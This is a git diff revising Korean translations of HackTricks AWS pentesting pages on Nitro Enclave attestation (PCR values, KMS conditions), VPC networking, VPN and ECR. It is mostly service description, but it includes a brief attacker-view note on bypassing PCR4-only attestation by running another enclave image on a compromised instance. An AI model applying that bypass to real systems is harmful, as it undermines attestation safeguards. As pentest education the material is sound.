있게 해주며, 이 문서에는 해당 enclave에 특정한 **고유 측정값**이 포함됩니다. 이러한 측정값은 **해시 및 플랫폼 구성 레지스터(PCR)**를 포함하며, 증명 과정에서 **enclave의 신원을 증명하고 외부 서비스와의 신뢰를 구축하는 데** 사용됩니다. 증명 문서에는 일반적으로 PCR0, PCR1 및 PCR2와 같은 값이 포함되어 있으며, 이는 enclave EIF를 구축하고 저장할 때 이전에 접한 적이 있습니다. -[**docs**](https://catalog.us-east-1.prod.workshops.aws/event/dashboard/en-US/workshop/1-my-first-enclave/1-3-cryptographic-attestation#a-unique-feature-on-nitro-enclaves)에서 PCR 값은 다음과 같습니다: +[**docs**](https://catalog.us-east-1.prod.workshops.aws/event/dashboard/en-US/workshop/1-my-first-enclave/1-3-cryptographic-attestation#a-unique-feature-on-nitro-enclaves)에서, 다음은 PCR 값입니다: -
PCR해시 ...설명
PCR0Enclave 이미지 파일섹션 데이터 없이 이미지 파일의 내용에 대한 연속적인 측정값입니다.
PCR1리눅스 커널 및 부트스트랩커널 및 부트 ramfs 데이터에 대한 연속적인 측정값입니다.
PCR2애플리케이션부트 ramfs 없이 사용자 애플리케이션에 대한 연속적이고 순서가 있는 측정값입니다.
PCR3부모 인스턴스에 할당된 IAM 역할부모 인스턴스에 할당된 IAM 역할에 대한 연속적인 측정값입니다. 부모 인스턴스가 올바른 IAM 역할을 가질 때만 증명 과정이 성공하도록 보장합니다.
PCR4부모 인스턴스의 인스턴스 ID부모 인스턴스의 ID에 대한 연속적인 측정값입니다. 부모 인스턴스가 특정 인스턴스 ID를 가질 때만 증명 과정이 성공하도록 보장합니다.
PCR8Enclave 이미지 파일 서명 인증서enclave 이미지 파일에 대해 지정된 서명 인증서의 측정값입니다. 특정 인증서로 서명된 enclave 이미지 파일에서 부팅된 경우에만 증명 과정이 성공하도록 보장합니다.
+
PCR해시 ...설명
PCR0Enclave 이미지 파일섹션 데이터 없이 이미지 파일의 내용에 대한 연속적인 측정값입니다.
PCR1Linux 커널 및 부트스트랩커널 및 부트 ramfs 데이터에 대한 연속적인 측정값입니다.
PCR2애플리케이션부트 ramfs 없이 사용자 애플리케이션에 대한 연속적이고 순서가 있는 측정값입니다.
PCR3부모 인스턴스에 할당된 IAM 역할부모 인스턴스에 할당된 IAM 역할에 대한 연속적인 측정값입니다. 부모 인스턴스가 올바른 IAM 역할을 가질 때만 증명 과정이 성공하도록 보장합니다.
PCR4부모 인스턴스의 인스턴스 ID부모 인스턴스의 ID에 대한 연속적인 측정값입니다. 부모 인스턴스가 특정 인스턴스 ID를 가질 때만 증명 과정이 성공하도록 보장합니다.
PCR8Enclave 이미지 파일 서명 인증서enclave 이미지 파일에 대해 지정된 서명 인증서의 측정값입니다. 특정 인증서로 서명된 enclave 이미지 파일에서 부팅된 경우에만 증명 과정이 성공하도록 보장합니다.
-**암호학적 증명**을 애플리케이션에 통합하고 **AWS KMS**와 같은 서비스와의 사전 구축된 통합을 활용할 수 있습니다. AWS KMS는 **enclave 증명**을 **검증**할 수 있으며, 키 정책에서 증명 기반 조건 키(`kms:RecipientAttestation:ImageSha384` 및 `kms:RecipientAttestation:PCR`)를 제공합니다. 이러한 정책은 AWS KMS가 KMS 키를 사용한 작업을 **enclave의 증명 문서가 유효하고** **지정된 조건을 충족할 때만 허용**하도록 보장합니다. +**암호학적 증명**을 애플리케이션에 통합하고 **AWS KMS**와 같은 서비스와의 사전 구축된 통합을 활용할 수 있습니다. AWS KMS는 **enclave 증명**을 **검증**할 수 있으며, 키 정책에서 증명 기반 조건 키(`kms:RecipientAttestation:ImageSha384` 및 `kms:RecipientAttestation:PCR`)를 제공합니다. 이러한 정책은 AWS KMS가 KMS 키를 사용한 작업을 **enclave의 증명 문서가 유효하고 지정된 조건을 충족할 때만** 허용하도록 보장합니다. > [!TIP] -> 디버그(--debug) 모드의 Enclaves는 제로(`000000000000000000000000000000000000000000000000`)로 구성된 PCR을 가진 증명 문서를 생성합니다. 따라서 이러한 값을 확인하는 KMS 정책은 실패합니다. +> 디버그(--debug) 모드에서 Enclaves는 제로(`000000000000000000000000000000000000000000000000`)로 구성된 PCR을 가진 증명 문서를 생성합니다. 따라서 이러한 값을 확인하는 KMS 정책은 실패할 것입니다. ### PCR 우회 -공격자의 관점에서 일부 PCR이 enclave 이미지의 일부 또는 전체를 수정할 수 있도록 허용하고 여전히 유효하다는 점에 주목하십시오(예: PCR4는 부모 인스턴스의 ID만 확인하므로 해당 EC2에서 어떤 enclave 이미지든 실행하면 이 잠재적인 PCR 요구 사항을 충족할 수 있습니다). +공격자의 관점에서, 일부 PCR이 enclave 이미지의 일부 또는 전체를 수정할 수 있도록 허용하고 여전히 유효할 수 있음을 주목하십시오(예: PCR4는 부모 인스턴스의 ID만 확인하므로 해당 EC2에서 어떤 enclave 이미지든 실행하면 이 잠재적인 PCR 요구 사항을 충족할 수 있습니다). 따라서 EC2 인스턴스를 손상시킨 공격자는 이러한 보호를 우회하기 위해 다른 enclave 이미지를 실행할 수 있을 것입니다. diff --git a/src/pentesting-cloud/aws-security/aws-services/aws-ec2-ebs-elb-ssm-vpc-and-vpn-enum/aws-vpc-and-networking-basic-information.md b/src/pentesting-cloud/aws-security/aws-services/aws-ec2-ebs-elb-ssm-vpc-and-vpn-enum/aws-vpc-and-networking-basic-information.md index 2a2bb64fe..7a2d168cf 100644 --- a/src/pentesting-cloud/aws-security/aws-services/aws-ec2-ebs-elb-ssm-vpc-and-vpn-enum/aws-vpc-and-networking-basic-information.md +++ b/src/pentesting-cloud/aws-security/aws-services/aws-ec2-ebs-elb-ssm-vpc-and-vpn-enum/aws-vpc-and-networking-basic-information.md @@ -6,7 +6,7 @@ A **VPC** contains a **network CIDR** like 10.0.0.0/16 (with its **routing table** and **network ACL**). -이 VPC 네트워크는 **서브네트워크**로 나뉘어 있으며, **서브네트워크**는 **VPC**, **라우팅** **테이블** 및 **네트워크 ACL**과 직접적으로 **연관**되어 있습니다. +이 VPC 네트워크는 **서브네트워크**로 나뉘어 있으며, **서브네트워크**는 **VPC**, **라우팅** **테이블** 및 **네트워크 ACL**과 직접 **연관**되어 있습니다. 그 다음, 서비스(예: EC2 인스턴스)에 연결된 **네트워크 인터페이스**는 **보안 그룹**과 함께 **서브네트워크**에 **연결**됩니다. @@ -18,14 +18,14 @@ A **VPC** contains a **network CIDR** like 10.0.0.0/16 (with its **routing table - **IPv4 주소를 자동 할당하는 네트워크에서 생성된 인스턴스는 하나를 받을 수 있습니다.** - **인터넷 게이트웨이**는 **VPC에 연결**되어야 합니다. - **Egress-only 인터넷 게이트웨이**를 사용할 수도 있습니다. -- **프라이빗 서브넷**에 **NAT 게이트웨이**를 두어 해당 프라이빗 서브넷에서 외부 서비스에 **연결할 수 있지만**, 외부에서 이들에 접근하는 것은 **불가능합니다.** +- **프라이빗 서브넷**에 **NAT 게이트웨이**를 두어 해당 프라이빗 서브넷에서 외부 서비스에 **연결할 수 있지만**, 외부에서 접근할 수는 없습니다. - NAT 게이트웨이는 **공용**(인터넷 접근) 또는 **프라이빗**(다른 VPC 접근)일 수 있습니다. ![](<../../../../images/image (274).png>) ## VPC -Amazon **Virtual Private Cloud** (Amazon VPC)는 정의한 **가상 네트워크**에 **AWS 리소스를 시작**할 수 있게 해줍니다. 이 가상 네트워크는 여러 서브넷, 인터넷 게이트웨이를 통한 인터넷 접근, ACL, 보안 그룹, IP 등을 가집니다. +Amazon **Virtual Private Cloud** (Amazon VPC)는 정의한 가상 네트워크에 **AWS 리소스를 시작할 수 있게** 해줍니다. 이 가상 네트워크는 여러 서브넷, 인터넷 게이트웨이를 통한 인터넷 접근, ACL, 보안 그룹, IP 등을 가집니다. ### Subnets @@ -34,7 +34,7 @@ Amazon **Virtual Private Cloud** (Amazon VPC)는 정의한 **가상 네트워크 - 유효한 CIDR은 /16 넷마스크에서 /28 넷마스크까지입니다. - 서브넷은 동시에 서로 다른 가용 영역에 있을 수 없습니다. - **AWS는 각 서브넷의 첫 세 호스트 IP 주소를** **내부 AWS 사용**을 위해 **예약합니다**: 첫 번째 호스트 주소는 VPC 라우터에 사용됩니다. 두 번째 주소는 AWS DNS에 예약되어 있으며, 세 번째 주소는 향후 사용을 위해 예약되어 있습니다. -- **인터넷에 직접 접근할 수 있는 서브넷**을 **공용 서브넷**이라고 하며, **프라이빗 서브넷**은 그렇지 않습니다. +- **인터넷에 직접 접근할 수 있는 서브넷**을 **공용 서브넷**이라고 하며, 프라이빗 서브넷은 그렇지 않습니다.
@@ -72,23 +72,23 @@ Amazon **Virtual Private Cloud** (Amazon VPC)는 정의한 **가상 네트워크 ### Elastic IP Addresses -_Elastic IP 주소_는 동적 클라우드 컴퓨팅을 위해 설계된 **정적 IPv4 주소**입니다. Elastic IP 주소는 AWS 계정에 할당되며, 이를 해제할 때까지 귀하의 것입니다. Elastic IP 주소를 사용하면 인스턴스나 소프트웨어의 실패를 마스킹하여 주소를 귀하의 계정 내 다른 인스턴스로 신속하게 재매핑할 수 있습니다. +_Elastic IP 주소_는 동적 클라우드 컴퓨팅을 위해 설계된 **정적 IPv4 주소**입니다. Elastic IP 주소는 AWS 계정에 할당되며, 이를 해제할 때까지 귀하의 것입니다. Elastic IP 주소를 사용하면 인스턴스나 소프트웨어의 실패를 신속하게 다른 인스턴스로 주소를 재매핑하여 숨길 수 있습니다. ### Connection between subnets -기본적으로 모든 서브넷은 **공용 IP 주소의 자동 할당이 꺼져 있습니다**. 그러나 이를 켤 수 있습니다. +기본적으로 모든 서브넷은 **공용 IP 주소의 자동 할당이 꺼져 있지만** 이를 켤 수 있습니다. -**라우팅 테이블 내의 로컬 라우트는 VPC 서브넷 간의 통신을 가능하게 합니다.** +**라우팅 테이블 내의 로컬 경로는 VPC 서브넷 간의 통신을 가능하게 합니다.** -서브넷을 다른 서브넷과 **연결할 경우, 다른 서브넷과 연결된 서브넷에 접근할 수 없습니다.** 이들과 직접 연결을 생성해야 합니다. **이는 인터넷 게이트웨이에도 적용됩니다.** 인터넷에 접근하기 위해 서브넷 연결을 통해 갈 수 없으며, 인터넷 게이트웨이를 서브넷에 할당해야 합니다. +서브넷을 다른 서브넷과 **연결할 경우, 다른 서브넷과 연결된 서브넷에 접근할 수 없으며**, 직접 연결을 생성해야 합니다. **이는 인터넷 게이트웨이에도 적용됩니다**. 인터넷에 접근하기 위해 서브넷 연결을 통해 갈 수 없으며, 인터넷 게이트웨이를 서브넷에 할당해야 합니다. ### VPC Peering VPC 피어링은 **두 개 이상의 VPC를 연결**할 수 있게 해주며, IPV4 또는 IPV6를 사용하여 마치 동일한 네트워크의 일부인 것처럼 연결합니다. -피어 연결이 설정되면, **한 VPC의 리소스가 다른 VPC의 리소스에 접근할 수 있습니다.** VPC 간의 연결은 기존 AWS 네트워크 인프라를 통해 구현되므로, 고가용성이 보장되며 대역폭 병목 현상이 없습니다. **피어 연결은 마치 동일한 네트워크의 일부인 것처럼 작동하므로**, 사용할 수 있는 CIDR 블록 범위에 제한이 있습니다.\ -VPC에 **겹치는 또는 중복된 CIDR** 범위가 있는 경우, **VPC를 피어링할 수 없습니다.**\ -각 AWS VPC는 **자신의 피어와만 통신합니다.** 예를 들어, VPC 1과 VPC 2 간에 피어링 연결이 있고, VPC 2와 VPC 3 간에 또 다른 연결이 있는 경우, VPC 1과 VPC 2는 서로 직접 통신할 수 있으며, VPC 2와 VPC 3도 마찬가지입니다. 그러나 VPC 1과 VPC 3은 통신할 수 없습니다. **한 VPC를 통해 다른 VPC에 라우팅할 수 없습니다.** +피어 연결이 설정되면, **한 VPC의 리소스가 다른 VPC의 리소스에 접근할 수 있습니다**. VPC 간의 연결은 기존 AWS 네트워크 인프라를 통해 구현되므로, 고가용성이며 대역폭 병목 현상이 없습니다. **피어 연결은 마치 동일한 네트워크의 일부인 것처럼 작동하므로**, 사용할 수 있는 CIDR 블록 범위에 제한이 있습니다.\ +VPC에 **겹치는 또는 중복된 CIDR** 범위가 있으면 **VPC를 피어링할 수 없습니다.**\ +각 AWS VPC는 **자신의 피어와만 통신합니다**. 예를 들어, VPC 1과 VPC 2 간에 피어링 연결이 있고, VPC 2와 VPC 3 간에 또 다른 연결이 있는 경우, VPC 1과 VPC 2는 서로 직접 통신할 수 있으며, VPC 2와 VPC 3도 마찬가지입니다. 그러나 VPC 1과 VPC 3은 통신할 수 없습니다. **한 VPC를 통해 다른 VPC에 라우팅할 수 없습니다.** ### **VPC Flow Logs** @@ -99,14 +99,14 @@ S3 접근 로그 및 CloudFront 접근 로그와 달리, **VPC Flow Logs에 의 제한 사항: - VPC 피어링 연결을 실행 중인 경우, 동일한 계정 내의 피어 VPC의 흐름 로그만 볼 수 있습니다. -- EC2-Classic 환경 내에서 리소스를 실행 중인 경우, 불행히도 그들의 인터페이스에서 정보를 검색할 수 없습니다. +- EC2-Classic 환경 내에서 리소스를 실행 중인 경우, 불행히도 해당 인터페이스에서 정보를 검색할 수 없습니다. - VPC Flow Log가 생성되면 변경할 수 없습니다. VPC Flow Log 구성을 변경하려면 삭제한 후 새로 생성해야 합니다. -- 다음 트래픽은 로그에 의해 모니터링 및 캡처되지 않습니다. VPC 내의 DHCP 트래픽, Amazon DNS 서버를 대상으로 하는 인스턴스의 트래픽. -- VPC 기본 라우터의 IP 주소로 향하는 트래픽과 다음 주소 간의 트래픽, 169.254.169.254는 인스턴스 메타데이터 수집에 사용되며, 169.254.169.123는 Amazon Time Sync Service에 사용됩니다. +- 다음 트래픽은 로그에 의해 모니터링되거나 캡처되지 않습니다. VPC 내의 DHCP 트래픽, Amazon DNS 서버를 대상으로 하는 인스턴스의 트래픽. +- VPC 기본 라우터의 IP 주소로 향하는 트래픽과 인스턴스 메타데이터 수집에 사용되는 169.254.169.254 및 Amazon Time Sync Service에 사용되는 169.254.169.123으로의 트래픽. - Windows 인스턴스의 Amazon Windows 활성화 라이센스와 관련된 트래픽 - 네트워크 로드 밸런서 인터페이스와 엔드포인트 네트워크 인터페이스 간의 트래픽 -CloudWatch 로그 그룹에 데이터를 게시하는 각 네트워크 인터페이스는 다른 로그 스트림을 사용합니다. 그리고 이러한 스트림 내에는 로그 항목의 내용을 보여주는 흐름 로그 이벤트 데이터가 있습니다. 각 로그는 **약 10~15분 동안 데이터를 캡처합니다.** +CloudWatch 로그 그룹에 데이터를 게시하는 각 네트워크 인터페이스는 다른 로그 스트림을 사용합니다. 그리고 이러한 스트림 내에는 로그 항목의 내용을 보여주는 흐름 로그 이벤트 데이터가 포함됩니다. 이러한 **로그는 약 10~15분 동안의 데이터 캡처를 수행합니다.** ## VPN @@ -114,11 +114,11 @@ CloudWatch 로그 그룹에 데이터를 게시하는 각 네트워크 인터페 1. **Customer Gateway**: - Customer Gateway는 VPN 연결의 귀하 측을 나타내기 위해 AWS에서 생성하는 리소스입니다. -- 이는 본질적으로 사이트 간 VPN 연결의 귀하 측에 있는 물리적 장치 또는 소프트웨어 애플리케이션입니다. +- 이는 본인의 Site-to-Site VPN 연결 측의 물리적 장치 또는 소프트웨어 애플리케이션입니다. - 라우팅 정보와 네트워크 장치(예: 라우터 또는 방화벽)의 공용 IP 주소를 AWS에 제공하여 Customer Gateway를 생성합니다. - VPN 연결 설정을 위한 참조 지점 역할을 하며 추가 요금이 발생하지 않습니다. 2. **Virtual Private Gateway**: -- Virtual Private Gateway (VPG)는 사이트 간 VPN 연결의 Amazon 측에 있는 VPN 집중기입니다. +- Virtual Private Gateway (VPG)는 Site-to-Site VPN 연결의 Amazon 측에 있는 VPN 집중기입니다. - VPC에 연결되어 있으며 VPN 연결의 대상 역할을 합니다. - VPG는 VPN 연결의 AWS 측 엔드포인트입니다. - VPC와 온프레미스 네트워크 간의 안전한 통신을 처리합니다. @@ -126,11 +126,11 @@ CloudWatch 로그 그룹에 데이터를 게시하는 각 네트워크 인터페 - Site-to-Site VPN 연결은 온프레미스 네트워크를 VPC에 안전한 IPsec VPN 터널을 통해 연결합니다. - 이 유형의 연결은 Customer Gateway와 Virtual Private Gateway가 필요합니다. - 데이터 센터 또는 네트워크와 AWS 환경 간의 안전하고 안정적이며 일관된 통신을 위해 사용됩니다. -- 일반적으로 정기적이고 장기적인 연결에 사용되며, 연결을 통해 전송된 데이터 양에 따라 요금이 청구됩니다. +- 일반적으로 정기적이고 장기적인 연결에 사용되며, 연결을 통해 전송된 데이터 양에 따라 요금이 부과됩니다. 4. **Client VPN Endpoint**: - Client VPN 엔드포인트는 클라이언트 VPN 세션을 활성화하고 관리하기 위해 AWS에서 생성하는 리소스입니다. - 개별 장치(예: 노트북, 스마트폰 등)가 AWS 리소스 또는 온프레미스 네트워크에 안전하게 연결할 수 있도록 사용됩니다. -- 전체 네트워크를 연결하는 사이트 간 VPN과는 달리 개별 클라이언트를 위해 설계되었습니다. +- Site-to-Site VPN과는 달리 전체 네트워크를 연결하는 것이 아니라 개별 클라이언트를 위해 설계되었습니다. - Client VPN을 사용하면 각 클라이언트 장치가 VPN 클라이언트 소프트웨어를 사용하여 안전한 연결을 설정합니다. ### Site-to-Site VPN @@ -143,16 +143,16 @@ CloudWatch 로그 그룹에 데이터를 게시하는 각 네트워크 인터페 각 VPN 연결에는 두 개의 VPN 터널이 포함되어 있으며, 이를 동시에 사용하여 고가용성을 확보할 수 있습니다. - **Customer gateway**: AWS에 고객 게이트웨이 장치에 대한 정보를 제공하는 AWS 리소스입니다. -- **Customer gateway device**: 사이트 간 VPN 연결의 귀하 측에 있는 물리적 장치 또는 소프트웨어 애플리케이션입니다. -- **Virtual private gateway**: 사이트 간 VPN 연결의 Amazon 측에 있는 VPN 집중기입니다. 사이트 간 VPN 연결의 Amazon 측 게이트웨이로 가상 프라이빗 게이트웨이 또는 전송 게이트웨이를 사용합니다. -- **Transit gateway**: VPC와 온프레미스 네트워크를 상호 연결하는 데 사용할 수 있는 전송 허브입니다. 사이트 간 VPN 연결의 Amazon 측 게이트웨이로 전송 게이트웨이 또는 가상 프라이빗 게이트웨이를 사용합니다. +- **Customer gateway device**: Site-to-Site VPN 연결 측의 물리적 장치 또는 소프트웨어 애플리케이션입니다. +- **Virtual private gateway**: Site-to-Site VPN 연결의 Amazon 측에 있는 VPN 집중기입니다. Site-to-Site VPN 연결의 Amazon 측 게이트웨이로 가상 프라이빗 게이트웨이 또는 전송 게이트웨이를 사용합니다. +- **Transit gateway**: VPC와 온프레미스 네트워크를 상호 연결하는 데 사용할 수 있는 전송 허브입니다. Site-to-Site VPN 연결의 Amazon 측 게이트웨이로 전송 게이트웨이 또는 가상 프라이빗 게이트웨이를 사용합니다. #### Limitations - 가상 프라이빗 게이트웨이에서 VPN 연결에 대한 IPv6 트래픽은 지원되지 않습니다. - AWS VPN 연결은 경로 MTU 발견을 지원하지 않습니다. -또한, 사이트 간 VPN을 사용할 때 다음 사항을 고려하십시오. +또한 Site-to-Site VPN을 사용할 때 다음 사항을 고려해야 합니다. - VPC를 공통 온프레미스 네트워크에 연결할 때는 네트워크에 대해 겹치지 않는 CIDR 블록을 사용하는 것이 좋습니다. @@ -163,33 +163,33 @@ CloudWatch 로그 그룹에 데이터를 게시하는 각 네트워크 인터페 #### Concepts - **Client VPN endpoint:** 클라이언트 VPN 세션을 활성화하고 관리하기 위해 생성하고 구성하는 리소스입니다. 모든 클라이언트 VPN 세션이 종료되는 리소스입니다. -- **Target network:** Target network는 Client VPN 엔드포인트와 연결하는 네트워크입니다. **VPC의 서브넷이 Target network입니다.** 서브넷을 Client VPN 엔드포인트와 연결하면 VPN 세션을 설정할 수 있습니다. 고가용성을 위해 Client VPN 엔드포인트와 여러 서브넷을 연결할 수 있습니다. 모든 서브넷은 동일한 VPC에 속해야 하며, 각 서브넷은 서로 다른 가용 영역에 속해야 합니다. +- **Target network:** Client VPN 엔드포인트와 연결된 네트워크입니다. **VPC의 서브넷이 대상 네트워크입니다.** 서브넷을 Client VPN 엔드포인트와 연결하면 VPN 세션을 설정할 수 있습니다. 고가용성을 위해 여러 서브넷을 Client VPN 엔드포인트와 연결할 수 있습니다. 모든 서브넷은 동일한 VPC에 속해야 하며, 각 서브넷은 서로 다른 가용 영역에 속해야 합니다. - **Route**: 각 Client VPN 엔드포인트에는 사용 가능한 목적지 네트워크 경로를 설명하는 라우팅 테이블이 있습니다. 라우팅 테이블의 각 경로는 특정 리소스 또는 네트워크로의 트래픽 경로를 지정합니다. -- **Authorization rules:** 권한 부여 규칙은 **네트워크에 접근할 수 있는 사용자를 제한합니다.** 특정 네트워크에 대해 접근이 허용된 Active Directory 또는 ID 공급자(IdP) 그룹을 구성합니다. 이 그룹에 속한 사용자만 지정된 네트워크에 접근할 수 있습니다. **기본적으로 권한 부여 규칙이 없으며**, 사용자가 리소스 및 네트워크에 접근할 수 있도록 권한 부여 규칙을 구성해야 합니다. +- **Authorization rules:** 권한 부여 규칙은 **네트워크에 접근할 수 있는 사용자를 제한합니다**. 지정된 네트워크에 대해 접근이 허용된 Active Directory 또는 ID 공급자(IdP) 그룹을 구성합니다. 이 그룹에 속한 사용자만 지정된 네트워크에 접근할 수 있습니다. **기본적으로 권한 부여 규칙이 없으며**, 사용자가 리소스 및 네트워크에 접근할 수 있도록 권한 부여 규칙을 구성해야 합니다. - **Client:** Client VPN 엔드포인트에 연결하여 VPN 세션을 설정하는 최종 사용자입니다. 최종 사용자는 OpenVPN 클라이언트를 다운로드하고, VPN 세션을 설정하기 위해 생성한 Client VPN 구성 파일을 사용해야 합니다. -- **Client CIDR range:** 클라이언트 IP 주소를 할당할 IP 주소 범위입니다. Client VPN 엔드포인트에 대한 각 연결은 클라이언트 CIDR 범위에서 고유한 IP 주소가 할당됩니다. 클라이언트 CIDR 범위를 선택합니다. 예를 들어, `10.2.0.0/16`입니다. +- **Client CIDR range:** 클라이언트 IP 주소를 할당할 IP 주소 범위입니다. Client VPN 엔드포인트에 대한 각 연결은 클라이언트 CIDR 범위에서 고유한 IP 주소를 할당받습니다. 클라이언트 CIDR 범위를 선택합니다. 예를 들어, `10.2.0.0/16`입니다. - **Client VPN ports:** AWS Client VPN은 TCP 및 UDP 모두에 대해 포트 443 및 1194를 지원합니다. 기본값은 포트 443입니다. -- **Client VPN network interfaces:** 서브넷을 Client VPN 엔드포인트와 연결하면 해당 서브넷에 Client VPN 네트워크 인터페이스가 생성됩니다. **Client VPN 엔드포인트에서 VPC로 전송되는 트래픽은 Client VPN 네트워크 인터페이스를 통해 전송됩니다.** 그런 다음 소스 네트워크 주소 변환(SNAT)이 적용되어 클라이언트 CIDR 범위의 소스 IP 주소가 Client VPN 네트워크 인터페이스 IP 주소로 변환됩니다. -- **Connection logging:** Client VPN 엔드포인트에 대한 연결 이벤트를 기록하기 위해 연결 로깅을 활성화할 수 있습니다. 이 정보를 사용하여 포렌식을 수행하거나 Client VPN 엔드포인트가 어떻게 사용되고 있는지 분석하거나 연결 문제를 디버깅할 수 있습니다. -- **Self-service portal:** Client VPN 엔드포인트에 대한 셀프 서비스 포털을 활성화할 수 있습니다. 클라이언트는 자격 증명을 사용하여 웹 기반 포털에 로그인하고 Client VPN 엔드포인트 구성 파일의 최신 버전 또는 AWS에서 제공하는 클라이언트의 최신 버전을 다운로드할 수 있습니다. +- **Client VPN network interfaces:** 서브넷을 Client VPN 엔드포인트와 연결하면 해당 서브넷에 Client VPN 네트워크 인터페이스가 생성됩니다. **Client VPN 엔드포인트에서 VPC로 전송되는 트래픽은 Client VPN 네트워크 인터페이스를 통해 전송됩니다**. 그런 다음 소스 네트워크 주소 변환(SNAT)이 적용되어 클라이언트 CIDR 범위의 소스 IP 주소가 Client VPN 네트워크 인터페이스 IP 주소로 변환됩니다. +- **Connection logging:** Client VPN 엔드포인트에 대한 연결 이벤트를 기록하기 위해 연결 로깅을 활성화할 수 있습니다. 이 정보를 사용하여 포렌식을 수행하거나 Client VPN 엔드포인트 사용 방식을 분석하거나 연결 문제를 디버깅할 수 있습니다. +- **Self-service portal:** Client VPN 엔드포인트에 대한 셀프 서비스 포털을 활성화할 수 있습니다. 클라이언트는 자격 증명을 사용하여 웹 기반 포털에 로그인하고 Client VPN 엔드포인트 구성 파일의 최신 버전을 다운로드하거나 AWS에서 제공하는 클라이언트의 최신 버전을 다운로드할 수 있습니다. #### Limitations -- **클라이언트 CIDR 범위는 연결된 서브넷이 위치한 VPC의 로컬 CIDR**과 겹치거나 Client VPN 엔드포인트의 라우팅 테이블에 수동으로 추가된 경로와 겹칠 수 없습니다. -- 클라이언트 CIDR 범위는 **최소 /22**의 블록 크기를 가져야 하며, **/12보다 커서는 안 됩니다.** -- 클라이언트 CIDR 범위의 **일부 주소**는 Client VPN 엔드포인트의 가용성 모델을 지원하는 데 사용되며, 클라이언트에 할당될 수 없습니다. 따라서 **최대 동시 연결 수를 지원하기 위해 필요한 IP 주소 수의 두 배를 포함하는 CIDR 블록을 할당하는 것이 좋습니다.** -- **클라이언트 CIDR 범위는 Client VPN 엔드포인트를 생성한 후 변경할 수 없습니다.** -- Client VPN 엔드포인트와 연결된 **서브넷은 반드시 동일한 VPC에 있어야 합니다.** +- **클라이언트 CIDR 범위는 연결된 서브넷이 위치한 VPC의 로컬 CIDR**과 겹칠 수 없으며, Client VPN 엔드포인트의 라우팅 테이블에 수동으로 추가된 경로와도 겹칠 수 없습니다. +- 클라이언트 CIDR 범위는 **최소 /22**의 블록 크기를 가져야 하며, **/12를 초과해서는 안 됩니다.** +- 클라이언트 CIDR 범위의 **일부 주소**는 Client VPN 엔드포인트의 가용성 모델을 지원하는 데 사용되며, 클라이언트에 할당될 수 없습니다. 따라서 **지원할 최대 동시 연결 수의 두 배에 해당하는 IP 주소를 포함하는 CIDR 블록을 할당하는 것이 좋습니다.** +- **Client VPN 엔드포인트를 생성한 후 클라이언트 CIDR 범위를 변경할 수 없습니다.** +- **Client VPN 엔드포인트와 연결된 서브넷은 반드시 동일한 VPC에 있어야 합니다.** - **동일한 가용 영역의 여러 서브넷을 Client VPN 엔드포인트와 연결할 수 없습니다.** - Client VPN 엔드포인트는 **전용 테넌시 VPC에서 서브넷 연결을 지원하지 않습니다.** - Client VPN은 **IPv4** 트래픽만 지원합니다. -- Client VPN은 **연방 정보 처리 표준(FIPS)** **준수**가 **아닙니다.** +- Client VPN은 **연방 정보 처리 표준(FIPS)** **준수**가 아닙니다. - 다중 인증(MFA)이 Active Directory에 대해 비활성화된 경우, 사용자 비밀번호는 다음 형식일 수 없습니다. ``` SCRV1:: ``` -- 셀프 서비스 포털은 **상호 인증을 사용하는 클라이언트에 대해 사용할 수 없습니다.** +- 셀프 서비스 포털은 **상호 인증을 사용하여 인증하는 클라이언트에 대해 사용할 수 없습니다.** {{#include ../../../../banners/hacktricks-training.md}} diff --git a/src/pentesting-cloud/aws-security/aws-services/aws-ecr-enum.md b/src/pentesting-cloud/aws-security/aws-services/aws-ecr-enum.md index d6cf70b8e..bdc9e86a2 100644 --- a/src/pentesting-cloud/aws-security/aws-services/aws-ecr-enum.md +++ b/src/pentesting-cloud/aws-security/aws-services/aws-ecr-enum.md @@ -14,36 +14,36 @@ ECR은 **레지스트리**와 **저장소**의 2가지 유형의 객체로 구 **레지스트리** -모든 AWS 계정에는 2개의 레지스트리가 있습니다: **프라이빗** 및 **퍼블릭**. +모든 AWS 계정에는 2개의 레지스트리가 있습니다: **개인** 및 **공용**. -1. **프라이빗 레지스트리**: +1. **개인 레지스트리**: -- **기본적으로 프라이빗**: Amazon ECR 프라이빗 레지스트리에 저장된 컨테이너 이미지는 **귀하의 AWS 계정 내에서 권한이 부여된 사용자**만 접근할 수 있습니다. -- **프라이빗 저장소**의 URI는 `.dkr.ecr..amazonaws.com/` 형식을 따릅니다. -- **접근 제어**: **IAM 정책**을 사용하여 프라이빗 컨테이너 이미지에 대한 **접근을 제어**할 수 있으며, 사용자 또는 역할에 따라 세분화된 권한을 구성할 수 있습니다. -- **AWS 서비스와의 통합**: Amazon ECR 프라이빗 레지스트리는 EKS, ECS 등과 같은 다른 AWS 서비스와 쉽게 **통합**될 수 있습니다. -- **기타 프라이빗 레지스트리 옵션**: +- **기본적으로 개인**: Amazon ECR 개인 레지스트리에 저장된 컨테이너 이미지는 **귀하의 AWS 계정 내에서 권한이 부여된 사용자**만 접근할 수 있습니다. +- **개인 저장소**의 URI는 `.dkr.ecr..amazonaws.com/` 형식을 따릅니다. +- **접근 제어**: **IAM 정책**을 사용하여 개인 컨테이너 이미지에 대한 **접근을 제어**할 수 있으며, 사용자 또는 역할에 따라 세분화된 권한을 구성할 수 있습니다. +- **AWS 서비스와의 통합**: Amazon ECR 개인 레지스트리는 EKS, ECS 등과 같은 **다른 AWS 서비스와 쉽게 통합**될 수 있습니다. +- **기타 개인 레지스트리 옵션**: - 태그 불변성 열은 상태를 나열하며, 태그 불변성이 활성화되면 **기존 태그**로 이미지 **푸시**가 이미지를 덮어쓰는 것을 **방지**합니다. - **암호화 유형** 열은 저장소의 암호화 속성을 나열하며, AES-256과 같은 기본 암호화 유형을 보여주거나 **KMS**가 활성화된 암호화를 포함합니다. -- **풀 스루 캐시** 열은 상태를 나열하며, 풀 스루 캐시 상태가 활성화되면 **외부 퍼블릭 저장소의 저장소를 귀하의 프라이빗 저장소에 캐시**합니다. +- **풀 스루 캐시** 열은 상태를 나열하며, 풀 스루 캐시 상태가 활성화되면 **외부 공용 저장소의 저장소를 개인 저장소에 캐시**합니다. - 특정 **IAM 정책**을 구성하여 다양한 **권한**을 부여할 수 있습니다. - **스캔 구성**은 저장소 내에 저장된 이미지의 취약점을 스캔할 수 있도록 합니다. -2. **퍼블릭 레지스트리**: +2. **공용 레지스트리**: -- **퍼블릭 접근성**: ECR 퍼블릭 레지스트리에 저장된 컨테이너 이미지는 **인터넷의 누구나 인증 없이 접근할 수 있습니다.** -- **퍼블릭 저장소**의 URI는 